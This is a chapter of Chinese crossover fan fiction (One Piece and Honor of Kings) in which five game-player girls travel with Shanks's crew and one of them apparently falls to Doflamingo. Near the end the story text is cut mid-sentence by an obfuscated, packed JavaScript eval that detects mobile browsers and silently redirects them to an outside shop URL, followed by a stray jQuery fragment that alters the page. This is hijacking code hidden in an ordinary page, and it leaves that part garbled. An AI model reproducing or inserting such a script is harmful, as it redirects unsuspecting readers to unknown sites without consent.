「part15:太顺利了会滋生傲慢喔」
自由之路的目标被系统分成了红名和绿名两个类别,死斗和切磋,如果硬是要说两者的分别——那大概就是排位赛和匹配赛的差别了吧?
曾经的刺客是这么认为的。
因为切磋属于娱乐模式,可以用来练英雄增加熟练度,所以即使投降或者十连跪也不会有任何惩罚,赢了反而还会给很丰富的奖励。
她将对王者荣耀的顶级游戏理解代入到了这个世界的战斗系统里,摩挲着下巴和上单分析着,有理有据,头头是道。
这么一想……刚出新手村就遇到后期顶级BOSS·香克斯/贝克曼的她们,那一战好像是唯一一场排位赛了唉。
果然打排位失败了就是要付出某些代价的,看看现在被抵押在雷德·福斯号上天天被红发船长带着天南海北四处闯荡(闯祸)的法师就知道了。
可是——同为海贼阵营的贝克曼为现在依旧是红名,为什么每天面对他的法师没有被强制触发战斗系统呢?这难道意味着他其实对她们没有敌意吗?可红名该怎么解释呢?明明别的海贼初次见面都是绿名啊。
这些问题困扰了刺客很久很久。
*
上单已经被红名绿名绕晕了,摆手表示管它呢全都揍一遍就是了,红的杀光绿的留口气不就好了?想那么多干嘛?
但是刺客不这么认为。
“你懂什么!既然是游戏设定,那就一定有它的道理。”精通各类RPG、FPS、MOBA和卡牌游戏,连嘎啦game都是个高手的游戏大师·天才电竞少女自言自语道,“说不定是有什么隐藏支线呢。不行,有空还是得去看一眼那个抽烟老登,看看能不能触发『贝克曼の烦恼』什么的。”
同一阵营肯定都是绿色的啊。
亲眼目睹过香克斯的红名变成绿名的画面,刺客对她一定会在某一天把贝克曼头顶上的玩意儿染成绿色这件事深信不疑。
——如果他一直不变绿,那她是不是可以怀疑这人是海军那边派来的卧底?系统实际上是想通过这个来对她们发出警示!
嚯!群众里面有坏人!!快进到狼人杀剧本了吗这么刺激的吗?!
*
被强烈的好奇心和触发隐藏剧情的渴望驱使着,即使她和上单离开了雷德·福斯号,像旅行青蛙似的在外面流浪——新世界的海域实在是太大了,前往克拉伊咖那岛那一周简直漫长得令人眼前发黑——但在每一个划不动船了准备瘫一会儿的休息时间里,刺客都会传送去法师身边,狗狗祟祟地观察着贝克曼。
“……你这样还不如干脆留下来呢,每天都保管你看个够。”拉基·路无语地瞟了跟背后灵一样的刺客,小声蛐蛐。
路过的本乡笑着调侃她:“有想问的就直接上去问呗,贝克对小姑娘贼好说话,这一点你不是亲身体验过吗?”
刺客躲在木桶后面,拿眼瞟着那个红名,百思不得其解。
“嘶——为什么呢?”她用气声询问一旁的好友,“你不是已经加入这里两个月了吗?终身劳务合同那老长,就跟签了卖身契似的,还天天和红发腻在一起,去他屋比回你屋还勤快——那老东西还没把你当成自己人吗?”
她想不明白啊。
确实天天和香克斯腻在一起也确实去他屋里和回自己房间一样自然的法师:“…………”
*
说真的,法师实在不知道怎么和刺客解释,这艘船上只有船长室和副船长室里有独立卫浴这种事。
虽然伙伴们很体贴地告诉她公共卫浴随便用,只要挂个牌子,他们就等她洗完再进去。
但是——
不算干部们,雷德·福斯号上本来就承载着将近百名精锐船员,他们都习惯了掀开浴室帘子直接和兄弟们坦诚相见三分钟洗完战斗澡的。但法师一来,他们就都得等上半个小时再洗。
一堆男人排队在门口等她出浴这种事怎么想都很尴尬啊救了大命了!!!
每次都洗的战战兢兢非常不尽兴又生怕推门时撞见某些不可描述部位的法师,在煎熬了两天以后,实在忍不下去了,深夜里敲开了船长室的大门。
香克斯似乎早就预想到了这种情况,听完了她的请求,揉了她的头一把,爽快地答应了。
“想借浴室?别那么见外嘛,随意用。”他揽着像只鹌鹑似的绞紧手指的小姑娘,热情地将她迎进了房间,“喜欢淋浴还是浴缸?要不要和贝克申请买个按摩浴缸啊?”
居然连女士的洗发水沐浴露和新的浴巾浴袍都准备好了!还在衣柜里特意划拉出一块给她的空间!香克斯——他真的好贴心啊!!!
完全不知道眼前的男人曾经笑着拒绝了贝克曼“给她房间里安个浴室好了”的提议,只笑眯眯等她自投罗网,法师捧着被他塞进怀里的一大兜东西,感觉要感动到热泪盈眶了。
“谢谢你。老大,你简直是世界上最好的人。”
被发了无比巨大的一张好人卡,香克斯露出了狐狸一样狡黠的笑脸:“都说了不用客气啦。你想什么时候来,我、都、欢、迎、喔。”
*
沐浴以后香喷喷湿哒哒的,随便找个理由就能乖乖留下呆上好一会儿。如同纯白的一张纸,法师就是这样没什么防备心的人。
她好像没什么和异性交往的经验呢。
所以不知道深更半夜红着脸敲开对她图谋不轨的男人的门,找他借浴室——这种邀请意味着什么。也不知道被一个男人半搂在怀里,把下巴搁在她肩膀上嗅她的头发——这种姿势意味着什么。
……真的完全不懂吗?还是只是在掩耳盗铃自欺欺人呢?
头发被女人的手指轻轻拨弄着,香克斯眯着眼感受着吹风机的暖风,还有法师刻意放轻的动作。
只是被他状似无意地提了一句“我不喜欢吹头发湿着头发睡觉也没什么吧?”,她就皱着眉头认认真真地接过了这个任务。
“香克斯,那样子不行,会感冒或者头痛的。”
好可爱啊。
他从来都没生过病来着,喝酒喝猛了倒确实会头痛啦——但她不是用那个叫“扁鹊”的技能立刻帮他处理好了吗?
好可爱的小姑娘。
香克斯当然能感受到法师那种想要努力为他做些什么,来回馈他对她的那些“特殊关照”——她可能还不知道,她能做的可太多了。
索取回报什么的,他是绝对不会手软的啊。
*
木桶后面,刺客还在小声和法师蛐蛐,嘱咐她快点想办法提高抽烟老登的好感度,感觉重回了高中晚自习悄悄传纸条的时候。
强大的见闻色霸气将那些对话收入耳中,香克斯挑眉看了一眼安安稳稳坐在他对面看报纸的贝克曼,示意他:“诺,说你呢。抽烟老东西。”
同样听的一清二楚的贝克曼:“………”
他面无表情地翻了一页报纸,将那些声音隔绝在了文字外面。
自己人吗……?
平心而论,贝克曼早就把法师当成自己人了,真的。
头儿的指向性太过明显,饿狼虎视眈眈地对着小肥羊磨牙,正在想怎么下口。知道被他盯上了的人是绝对逃不掉的,又在这些天的相处里明白了那五个小姑娘有多纯善,贝克曼也就放下了初见时的警戒。
当海贼的这些年来,他见过太多眼睛了。被仇恨烧红的、被欲望填满的、被恐惧掏空的、被岁月磨得浑浊的。
但她们的……像是一汪没有被搅动过的泉水,清澈得近乎天真,近乎愚蠢。
连唯一见过血的、最成熟的上单,也被困在了某种“律法”和“道德”的枷锁里,下意识地将她眼里的弱者护在身后——比起海贼,那更像是海军习惯于做的事。
是这样啊。
她曾经是个正义的军人,其余的那几位都是普通的平民,手里干干净净的,在来到这里以前从未沾染过人命和因果。
——一眼就能看穿啊,这样的小姑娘们能做些什么呢?
她们绝对不是嗜杀之人,下手如此狠厉也只是在被什么东西推着前进,迫不得已。
冷静地旁观着一切,细微的反应和肢体语言如同一张张拼图,将事实拼凑的完整,贝克曼看得分明。
“……她们只是想回家而已。”
*
来自和平世界的刺客,拼了命的想要在这里活下去,想要带着朋友们“赢”得这场“游戏”最终的胜利。
为了“赢”,她什么都可以做。
烧杀抢掠,鸡犬不留。
她必须竖起一道很高很高的围墙,在外面种满荆棘,把内心牢牢封闭,佯装百毒不侵。
——这就是刺客这个人的活法。
可是啊,这并不是一场她想象中的“游戏”。伟大航路一切的人与事,都是真实发生的。
人性是很复杂的。
她们太依赖那个系统了,尤其是阅历稍浅些的中野射三个小姑娘,每次看人前都会下意识先瞟一眼人的头顶,再通过那种颜色来判断该有的态度。
红名是敌人,绿名是队友——这种非黑即白的二分法,在这片大海上,简直可笑至极。
贝克曼见过太多能把杀意藏得滴水不漏的人了。
有很多人会在你放下所有防备的那一刻,笑着拥抱你,然后在你的后心捅进一把淬了毒的刀,毫不犹豫。比这种人更可怕的,是一些在某个瞬间察觉到你会挡路时就想好了该如何杀你的人,那种天性残忍有下手果决的家伙,连杀心都不会起。
——你在碾死蚂蚁时,会对它们产生警惕或者杀意吗?
如果贝克曼想,他也随时能变成那种人。
现在在这群小姑娘们眼睛里是红名,只是因为——他并不希望看到那种象征着短命的、清澈的愚蠢。
活得再久一点吧,在这片残酷的大海上,再这么被动下去早晚有一天会狠狠地栽个跟头摔得头破血流的。
阵营算什么?立场算什么?今天的朋友,明天就可能变成敌人。今天的敌人,后天也可能为你挡刀。
贝克曼一直觉得信任是一种能力。
你可以信任你的直觉和判断,信任你的见闻色霸气,信任你亲眼看见的、亲耳听到的,信任那些和你一起流过血的伙伴,信任那些在你倒下之后,第一时间冲上来的人,信任你的内心——但唯独不能信任那什么红名绿名。
那种东西太可笑了。
随着利益的得失,人就是会随时改变立场的狡诈生物,有的时候,身体的动作和心灵甚至都无法达成共识,不是吗?
——如果人心能用颜色分出来,这世界早太平了。
*
刺客不是理所应当地认为同一阵营就该是绿名?好啊,那就好好看着他好了。
看清楚他不遮掩的“戒备”与“敌意”,即使身处同一阵营又怎么样呢?只要有他这个红名在,她们就会一直保持该有的警惕不是吗?
没有人会一直在她身边保护她,她总会落单的。时时刻刻警惕着未知的风险,不要付出全心全意的信任,被背刺时随时都能有反击或者逃跑的余地——在她们还没完全成为强者以前,那种状态才是对的。
知道在法师和刺客决定下船的那一夜,为什么香克斯会突然从红名变成绿名吗?
并不是因为什么信任——对几乎陌生的女人哪儿来的信任呢?
只是因为他发现,如果保持现在的状态,她会紧张,会随时准备逃跑。但如果稍微做些伪装,藏起来那些思索和打量,用一种更加迂回、更加不易被察觉的方式试探,她会放下戒备,放松地相信他、依赖他,甚至……
想到这里,贝克曼手里的烟燃尽了,他正好将烟头捻灭在了烟灰缸里。
香克斯凑到了木桶边,突然出现把两个小姑娘吓了一跳。他笑得眼睛都眯起来了,像只慵懒的大猫,又像个完成了恶作剧的孩子。
贝克曼的目光落在法师毫无防备的笑脸上。
“……甚至,会喜欢上他。”他想。
*
头儿那家伙有真心吗?
当然有。
香克斯这个人,对谁都有三分真心。但那三分之外呢?那七分是什么?
试探、观察、思索、等待。
——“如果有一天,你违背了我的原则,做出了对我和我的朋友不利的事,我会毫不犹豫地杀了你。”
能从伟大航路杀出一片天,能当上四皇的男人,怎么可能是个只会战斗和哈哈大笑的热血笨蛋呢?
只不过是习惯了用无害的笑容取得他人的信任与好感,将事情的走向推向更利于他的方向而已。
阴谋家来了都要赞服,政客来了都要夸一句高明。想和他耍心眼的人要么死了,要么就被他强大的人格魅力收服,收了心思死心塌地地成为伙伴了。
……啧啧,那小子精着呢。
*
刺客她们那个系统判定阵营的方式……贝克曼大概也猜得到,大概率是基于浅层的、表面的东西。比如人的身份,隶属的势力。
但它不会管对方的理想是什么,目标是什么,她们和对方是否真的是可以并肩而战、交付后背的关系。
所以它所谓的“安全”——是在目前的已知信息下,此人没有立即杀死你的理由。
这也解释了为什么在初次见面时,同样不是善类的白胡子海贼团全员都是绿名——有着过于庞大的家族势力与实力,他们完全没把这五个女人放在眼里。
也许也和性格有关系吧……?毕竟白胡子那家伙对待年轻一代确实是太过于容忍宽和了。在这一点上,更年轻也更锋利些的香克斯就没那么温和了。
可是结果都是一样的。
“没有立即杀死你的理由”,和“稍微了解了你以后不会杀死你”,是完完全全的两码事。
——还意识不到这一点的话,一定会吃大亏的。
考虑到刺客不太喜欢被说教或者被训诫,贝克曼并没有过多解释。他只是将那么纷乱的思绪细细理清楚,用他的方法,沉默地对她和她的小朋友们做出了警示。
“不要轻易相信任何人。”
*
即使智商近妖,走一步算三步,但总有贝克曼想不到的——那就是她们的成长速度。
能陆陆续续觉醒霸王色霸气……又能那么快掌握它,他承认,确实是小瞧了她们。
实力是伟大航路的硬通货。不到三个月,她们奇迹一般地通过一道道关卡,打出了一次次SSS级完美通关的结局。
鹰眼米霍克,月光莫利亚,连同样拥有霸王色霸气的海贼女帝汉库克都成为了她们的朋友。
期间系统解锁了两位孤狼玩家的『复活点』功能,她们顺理成章地一个定到了雷德·福斯号上,一个定到了克拉伊咖那岛上。这样在每次回家补状态的时候都能见上他们这群好朋友们一面。
又是一战结束,贝克曼安静地看着法师背着一大兜子九蛇岛的特产和酒,欢欢喜喜地分给了所有伙伴。连他都得到了个镶了金边的、蛇形的精美烟斗。
他将那只“据说是刺客特意选的”的烟斗在指间转了个圈,做工确实精细,镀金的分寸恰到好处,不至于艳俗——她蛮有品位的。
他点了一截烟丝,吐出一口烟雾,隔着烟幕看那个正在分礼物的小姑娘。
法师这个人就是这样,受了人家一丁点好就恨不得倾囊回报,恨不得把心都掏出来。
红团的人待她好,她就全心全意地把他们当自己人,连分礼物都要按人头分得清清楚楚,每个人都要有。
香克斯对此蛮受用的。他已经把那瓶酒拆开了,想起夏琪和古罗莉欧萨,他好奇地询问九蛇岛的近况。其余留着口水羡慕地想去女儿国看看的男人们也积极地提出了各种各样的问题。
法师耐心地一一回答。将近半年的相处已经让她能自然地与伙伴们谈笑风生了。
她说汉库克教了她们霸王色的用法,说那些战士都很友善很热情很大方很漂亮,把那群呲着牙令一众海贼闻风丧胆的吸血霸王花们夸得天上有地下无的。
贝克曼听出来她语气里那股子“这个世界的人怎么都这么好呀”的天真,眉梢微微动了动。
他注意到了。法师提起海贼女帝时说的是“汉库克”,提起她两个妹妹时说的是“桑达索尼娅和玛丽哥鲁德”。她的语气自然得像在说自己家的姐妹,是真的把人当朋友了。
这种特质,说好听了是赤子之心,说难听了就是缺心眼。贝克曼又吸了一口烟,将蛇形烟斗搁在手边的矮几上。
——她们五个都是这样。
上单跟米霍克打了几场,就一见如故开始“兄弟兄弟”地喊。刺客对莫利亚那种烂人都能一口一个“莫酱”,就因为人家也是海贼,不仅饶过了他们——她还笑着和耶稣布讲起了很对她胃口的佩罗娜小姑娘,笑着说哪天绝对要把她带过来让你们看看被她的消极幽灵打中以后的糗样。
“记得准备好影像电话虫!”刺客笑着回头朝贝克曼说道,自然又熟稔,即使看到了他的红名也早就习惯了,一副把他也当成了自己人的态度。
贝克曼不知道该怎么形容那种无奈的心情。
他想,这群女人是不是搞错了什么。
这一路啊,实在是太过顺风顺水了,似乎给了她们某种错觉……某种“海贼其实蛮好说话的嘛尤其是实力强些的都是些不错的家伙”的错觉。
不是这样的。
这里的规则是拳头说了算,对于非伙伴的海贼来说,背叛和算计才是常态。
她们那种“只要我足够真诚对方就会同样真诚对待我”的思维方式,在她们那里也许是美德,但这里是新世界啊——之所以对前面三个人和白团红团管用,只是因为她们很幸运,身上恰好有某种特质是他们需要的,只是这样而已。
幸运是没法当饭吃的。她们不可能把把都那么幸运啊——这不,马上就要踢上铁板了。
*
“所以,下一站是德雷斯罗萨和阿拉巴斯坦?”他开口了,用的是陈述的语气。
果然,他看到了法师毫不犹豫地点了头。
“嗯!因为实在是找不到那位「暴君」熊啊。”她笑着又给香克斯分了一瓶酒,“听汉库克说,那是两个相当古怪的野心家呢。但都是推翻了从前旧王朝统治的国王,听说国民们对他的评价也不错,感觉应该蛮有气量的。”
知晓多弗朗明哥此人又是插手奴隶交易又是大肆贩卖军火的,和凯多更是联系紧密,香克斯的笑意收敛了。他看了无知无觉的小姑娘一眼,那一眼挺复杂的。
不笑的时候其实真的很严肃的船长先生,用平静的语气给他看好的后辈们做出了警示:“别太心急。稳扎稳打的,一步一步来。”
他和贝克曼都注意到了她们成长太快带来的自负,也明白多弗朗明哥那种人的危险不只是战力,还有那种心机和毫无底线的狠辣。
可法师没听懂香克斯的警告——或者说,她把这个当成了对她们安危的关心和担忧。
因为白胡子海贼团的那群哥哥们和汉库克也说过一模一样的话。
*
虽然还搞不太清楚这个世界的阵营系统为什么越想越令人迷惑,但在系统引入了『巅峰对决』这一概念以后,五个常年混迹2300分段巅峰百强赛的选手立刻切换成了分奴模式。
从前是为了打标打战力而冲分,现在是为了拿到那个宝贵的、唯一一个能升级『霸王色霸气』技能的升级点而冲分。
快吗?心急吗?没有吧,一个月一个副本而已。这种龟速真的毫无效率啊。
射手将九蛇岛的特产分发下去,高高兴兴地将她选到的最甜的菠萝一股脑儿塞给了马尔科,诚实地表示她真的觉得她们已经慢的不得了了,还想更快一点。
鸟妈妈有点头疼地再三提醒,但到底还是没坚持。
有些弯路必须自己走过才能懂——前人的经验之谈不可能完全拦下想要闯荡一番的年轻人们,谁都是这么过来的。
最后,他只是摸了摸小姑娘的头,谢谢她特意带来的菠萝,又顺着她的心意夸奖起了她精进的霸王色霸气,心道旧伤未愈所以躲去前半段养伤的克洛克达尔还好,可别一上来就被那只火烈鸟啄瞎了眼睛啊。
“老爹,我们改一下航线吧yoi。”哄走了尾巴快要翘上天去的射手,马尔科捏着眉心朝得了好大一坛酒正在“墩墩墩”喝的尽兴的纽盖特提议道,得到了老爹的一声哼笑。
——摔跟头可以,但知道痛就行了。要是那家伙还想做得再狠一点,他们白胡子海贼团也不是吃素的。
在这片大海上,谁都知道,对我们白胡子海贼团的伙伴出手,会有什么样的后果!*
*
“你们说了一样的话唉!汉库克也是这么建议我们的,她还想再留我们多呆几天呢。但是不行,我们得快一点变得更强才行!”
婉拒了所有前辈的中肯建议,怀着自信到有点自负的锋芒,法师的语气笃定得让人不知道该说什么。
见她如此,再多说也无益。
贝克曼没有继续这个话题。他看着法师抱着礼物去敲下一间舱室的门,踩在甲板上的步子轻快得像只雀鸟。
……这样的新人实在是太多太多了。
怀着满腔热血和一肚子“我命由我不由天”的豪情壮志,以为只要够强够狠够义气,就能在这里闯出一片天。可事实上,大多数没挨过真正的暴风雨,船翻人亡,连骨头渣子都没剩下。极少数幸存下来的,要么看清自己被四皇收编,要么被打得遍体鳞伤逃回其余四海。
她们不是不够强大。
几个月的成长速度,从接下香克斯的一记都费劲,到觉醒霸王色霸气,实打实击败了三个七武海——贝克曼这辈子没见过第二个。
她们不是不够聪明。
贤者在账务改革上的手腕,让白胡子海贼团那只走向暮年的雄狮重新注入活力,种种针对领地增收减免的政策,连他都得好好和她学一学。她的情报网络更是广得离谱。刺客那股子见人说人话见鬼说鬼话的鬼精灵劲儿,也让她在这一路上认识了不少朋友,据说还有好几个夏洛特家的姐妹都被她哄得五迷三道,争着要邀请她去托特兰玩玩。
她们不是不够谨慎。
上单每次都会反复观察小地图上几个队友的状态和位置,为了提高容错率,她舍弃了曾经爱不释手的暴击伤害流铭文和出装,选出了一个个肉装。最脆的射手和法师抓准时机打出伤害,从来不上头,选英雄前会默默把敌人分析一遍又一遍,再大的优势也一定要先出辉月名刀那种保命装。
……但她们错把一路上的善意当成了这片大海的全部真相。
太过一帆风顺的航线,埋藏着巨大的爆雷。太过顺风顺水的人,难免耳聋眼花,不自觉地滋生出傲慢。
*
当局者迷,旁观者清。
香克斯将酒一饮而尽,无奈地朝斯内克使了个眼色。航海士会意,转舵朝德雷斯罗萨的方向驶去。
既然已经成了他们的伙伴,那就不能看着不管啊。
吃点苦头也好。尝过了胜利和败北,四处逃窜痛哭流涕之后,才能成长为独当一面的大人。
……就算哭也没关系。哭完了擦干眼泪,沉下心来继续往前走,战胜一切,这就是成长一定要付出的代价。
去吧,去使劲撞那个南墙好了——反正,有他们给她兜着底呢。
*
还不知道教训就在眼前,刺客义无反顾地找上了王下七武海里最难对付的男人——多弗朗明哥。
听说了她想来切磋的意愿,又感受到了她那股子漂亮的霸王色霸气。带着墨镜一身搭配又热又冷不伦不类但意外地很适配的男人“呋呋呋”地笑了起来,屏退了还想说什么的家族干部们:“好啊,输了以后要不要加入我们?”
新面孔呢。
绝对不是赏金过亿的超新星中的任何一位……居然完全躲避开了他的情报网,这小姑娘有点意思。看看她的能力好了。
虽然「超人系·线线果实」造成的各种线麻烦得要死,但从刺客终于要掏出一手练习时长九年半的绝活露娜开始,胜利的法则已经决定好了。
在打开战斗系统前,她还笑嘻嘻地在队内聊天里发了“我先拿拜月教护法单刷试试。你们拉视野,随时关注着我的血条,一有不对快来捞我。”
又有突进又有高机动性,持续输出又高的离谱,操作的难度极高但几乎没有上限,玩的好就是月下疯狂无限连,玩的不好就只能断大再断大。
穿上了经典高手皮肤“紫霞仙子”,神秘月亮女子·万血法刺·指法芬芳刺客大仙闪亮登场!
天王老子来了!有什么遗言就留着和我的月光说去吧!
【“月光啊!闪爆他们!!”】
*
AA13A3A2A3A3连招丝滑又流畅。提前空A两次,卡出强化普攻后,进场直接打满输出,无CD流的打法加上升级后的霸王色缠绕,让她很快熬过了发育期,和多弗朗明哥打了个平分秋色。
【“输给我的话,就是我的人。跟我的驴一样,要盖个章!”】
喜欢漂亮的女人,更喜欢漂亮又有野性的女人。没感觉到杀意的男人绅士地留了不知道多少手,点到为止,叫停了切磋。
“大老远跑来这里,就只是为了打一架吗?要不要喝一杯?”肆无忌惮地散发着魅力,多弗朗明哥随手替刺客拉开了座椅,不动声色地开始套话,“是奔着七武海的名号来的?”
虽然觉得被小瞧了有点不爽,但被他让了一手,确确实实拿到了victory奖励的刺客没接那杯酒。
“是啊。早就听说这里是热情洋溢的国度,国王还是个千年难遇的明君,我特意来见识见识。”她就着霸王色霸气的话题和他聊了起来,完全没提及任何多余信息,话说的滴水不漏。
于是乎,两个心眼子加起来能绕地球一圈的人精各怀鬼胎,互相捧着彼此,有一搭没一搭地聊了起来。
*
【队内聊天】射手:“感觉怎么样?你血条都没咋掉啊,练的是情意绵绵剑吗?遇见你的至尊宝了吗?”
【队内聊天】上单:“我快到阿拉巴斯坦了,还用我不?你这就搞定了?”
【队内聊天】刺客:“都脱战了,不用来了。比我想的还轻松一点,三米的罗圈腿,丑爆了的沙滩裤,腿毛旺盛得让我想拿开水烫秃,大热天披着个大貂皮草,精致利己主义者,小头支配大头,放荡又冷血的骚包老叔叔一枚吖~”
【队内聊天】法师:“……这里的男人怎么都不爱刮腿毛都爱沙滩裤啊,他也穿大凉拖吗?”
【队内聊天】刺客:“不,这位是蓝色妖姬级别的。紧身裤切尔西的精神老伙立正了。”
【队内聊天】刺客:“「附加图片」”
【队内聊天】射手:“妈耶。my eyes!my eyes!还以为我要活到头了这什么衣品啊?!饱和度也太高了点吧?!!”
【队内聊天】上单:“为什么室内也要带太阳镜啊?你让他摘下来看看,难道是豆豆眼吗?”
【队内聊天】贤者:“看样子你是没用上那套保护措施啊。噫,看完之后我看什么都一片漆黑是为啥?”
【队内聊天】法师:“……那是瞎了,老师。”
*
心落回了肚子里。法师笑着回完这一句,收回了盯着小地图的目光,转头和贝克曼报告好消息:“她搞定了!也是绿名,虽然人丑了点,但心眼好像还成。不用担心啦~”
贝克曼没有说话,他的目光还落在海图上,像是在发呆——唉?他居然会发呆吗?!
甲板上阳光正好。
拉基·路在烤肉,肉脂滴进炭火里炸开一小簇一小簇的火星,香味顺着海风飘过来。耶稣布在桅杆上擦枪,嘴里哼着不成调的小曲。嘎布莱姆琼斯和本乡在打牌,偶尔伴随着几句不怎么友好的问候。斯内克对着记录指针,嘱咐宾治往右打满舵,他们快要抵达德雷斯罗萨的领海了。
一切都那么正常。
可能是为了庆祝首次solo战,这一战奖励意外的丰厚,邮箱里被各种礼物宝箱塞满了,她耐心地一一点开,又抽中了一位意外的来客。
“哇——!”
至高皇族,高贵的人民币英雄,拥有超强控制欲但不一定稳定,大招能全图释放但冷却时间长得惊人,因为一给她刷大就要封印大招将近两分钟,是选出来以后会被朵莉亚拉去关小黑屋抽打的程度。
本身就已经散发着一种土豪的气质了,搭配“倪克斯神谕”使用那更是可以直接用超绝花哨特效闪瞎对面的钛合金狗眼的程度。
没错,那就是我们的真·女帝大人·武则天!!
哇哦!这次好欧!
荣耀典藏的特效预览在眼前铺展开来,星河倒悬,宇宙旋转,女帝的裙摆是整片星云。法师捧着那个新抽到的英雄,嘴角压都压不下去。
她在队内聊天里发截图,配了满屏的感叹号。
射手的回复来得很快,一长串省略号后面跟着一句:“damn!我为什么是下水道米老鼠啊!”
上单说:“你知足吧,我抽到的是超绝三段蠕动的曹老板。”
贤者发了个微笑的表情:“没事,我是小明。”
刺客回了个表情包,说她留着一会儿再抽,现在要开始谈大人之间的正事了,让她们几个坐小孩那桌喝饮料去。
……为什么呢?明明一切都那么正常啊。
*
法师笑着切出去看自己的技能面板,霸王色霸气那一栏还是锁着的。
加上之前攒的巅峰系数,已经兑换了五个升级点了。法师托着腮研究那个仍然处于锁定状态下的『霸王色霸气』。心想她和贤者可能是最难的。
射手上单是抱着孤注一掷绝地翻盘的念头,刺客是被消极幽灵烦得没招,一遍遍跪在地上反思“我下辈子就该去做一条永远翻不了身的咸鱼”,清醒以后意识到自己真的受不了这种羞辱了她真的太想赢了,才被推动着开了霸王色。
都是被逼到墙角、退无可退的时候才觉醒的——可她和贤者没有那种感觉。
这个世界的每一个人都肉的要死。中辅又都不是那种能独自杀死比赛的类型,有句话说她们五条分路里最忌讳起杀心的人,尤其是拖到后期、大后期。打控制、补伤害、配合队友、后手衔接、保护大C,给野射创造输出空间,这才是她俩该干的活。
……虽然总是说重铸中路荣光,但实际上在这个给野射当狗的版本,工具人中单才是性价比最高的选择。
可偏偏……人均武装色的时代本就难绷,现在更是加了个根本控不住的霸王色。在这种情况下,想逼自己一把都做不到。
那种丢出去的控制都石沉大海,除了开大自保就只能原地罚站的无力,在后期她俩面对汉库克时尤其明显。感觉像是被人拉去拍a、片,结果演那个在客厅写作业的孩子,一写就是三个小时,有种淡淡的死感。
“香克斯,你是怎么觉醒的霸王色呀?”法师戳了戳身边托着脸看她的男人,将他的脸戳出了一个小小的凹陷,看着就像个酒窝一样。
香克斯抓住她作乱的手指,用带着点怀念的语气告诉她,是在他发现自己的伙伴被伤到、他却完全没有任何抵抗能力的时候。
他意识到了自己的弱小,那种愤怒和不甘——就是那样的时刻。
“我们是一样的人。”他松开了她的手指,“会为了保护伙伴而觉醒力量。”
这个设定真的很像某个蛤蜊家族的十代目,无法为了自己点燃死气之炎,守护欲压倒性的强大。
“老大你真温柔呢,不愧是BOSS。”没听出来他带着确定意味的结论,她笑着调侃。
香克斯没接话。可以预见未来的庞大见闻色铺展开来,他看着两秒以后会爆发性地觉醒霸王色的小姑娘,不动声色地叹了一口气。
“去吧。”他提前给出了答复,“去找她吧。”
感受到了他的见闻色,法师有点愣神。因为他很少在没有敌人的时候用这一招……唉?预知?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556781|204455||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>她意识到了不对劲,立刻调出小地图——正好赶上好友大满的血条瞬间归零的一秒钟,她的脸唰一下子褪尽血色,表情从不解变成了茫然的空白。
……等等,等等。什么叫做……目标已死亡?
*
这个空档大家都在抽新英雄领奖励,连一直观察小地图的上单也不例外。茫茫水域中,在上一个岛偶遇的名为「奈菲鲁塔丽·薇薇」的女孩子坐在她身边,疑惑地问:“你怎么了?表情看着不太好看。”
她跟着上单同行——或者说为上单带路,纯粹是因为她们的目标相同,都是那位「沙·克洛克达尔」。
在面馆里听说上单四处打探阿拉巴斯坦现任国王的消息,说是想要挑战他,潜伏在巴洛克工作室暗中收集他窃国的犯罪证据的前王女·薇薇眼睛一下子亮了,积极地为她带路。
还有这种好事?!!
上单无力地扶住了额,不知道怎么给这孩子解释关于曹操的三段磕头一般的超长位移。
《曹操:你说墙的那边是什么》
要霸道有霸道,要伤害有霸道,要机制还是有霸道。被浓郁的霸道力量所统治,拥有超绝mc联动皮肤的曹老叔其实强度已经算是不错的了,虽然削了几轮,但很好上手,是在低端局具有统治地位的边路王之一了。
至于高端局嘛……不好意思,真的查无此人。
她收起了新英雄,又将新得的技能点加到了霸王色霸气上,下意识又瞄了一眼小地图。感觉还是不太放心刺客那个粑粑嘴豆腐心——嗯?只是领个奖励的功夫,为什么她的头像变色了?系统出bug了吗?
-「 An ally has been slain.」
-「系统提示:一名伙伴已经被击杀。」
屏幕左上角熟悉的头像变成了黑白色,系统的提示音冰冷得像从很远的地方传来的丧钟。上单盯着那一行字,感觉每一个字都认识,连在一起却像某种她听不懂的外星语言。
——死了?
“怎么会……刚刚不是还说搞定了吗?”她喃喃着,在新朋友薇薇不解的注视下,迅速锁定了移速最快的英雄。
别开玩笑了……怎么可能?!刺客她怎么可能——?!!
*
射手正配合着艾斯完成第九十三次袭击,带着霸王色的子弹骤然破空,又被纽盖特笑着接下,“库啦啦啦”地笑着问她:“小丫头是想帮我挠痒痒吗?”
夭寿啊七旬老人徒手接子弹啦!老爹他究竟是白胡子还是施瓦辛格啊!!为什么比擎天柱还威震天啊?!
赛博坦星球要是有他在汽车人和霸天虎哪里还用得着争夺火种啊!!变形金刚根本拍个开头就被他一拳完结了好不好啊——
另一边刚掌握霸王色没几天的艾斯伤害更是刮痧的让人两眼一黑,宛如身在澡堂,面对着搓澡师傅,完全看不到翻盘的希望。
会玩是队友,不会玩纯内鬼。在「震震果实」和丛云切面前,就他那十中九空的招笑技能,现在看了,过年晚上看什么?
“还说什么干掉老爹成为世界最强的海王。大哥,你没有镜子总有尿吧?”
明明她也没打出啥有效伤害啊混蛋风凉话精灵!!被射手吐槽得又羞又恼的火拳小子一记大炎帝轰了上去,咬牙切齿地叫她闭嘴。
贤者笑着看俩小孩吵吵把火,一边被老爹压着打一边还要起内讧给彼此下黑手,把莫比迪克号搞得一团乱。
“好了好了。中场休息时间到,来喝点凉茶。”她用胡笳琴给射手和艾斯回满血,将苦瓜毛尖茶递了过去,又顺手拿手帕帮艾斯擦了擦鼻翼两侧和额头的汗。
被温柔又细致地爱护了又被她问了“苦不苦要不要加点糖”这种问题,完全是主人+妈妈级别,哪遭得住这一套的暴躁小狗一秒被顺毛,在射手敬佩的注视下,红着脸喝了一杯又一杯苦到掉牙的茶。
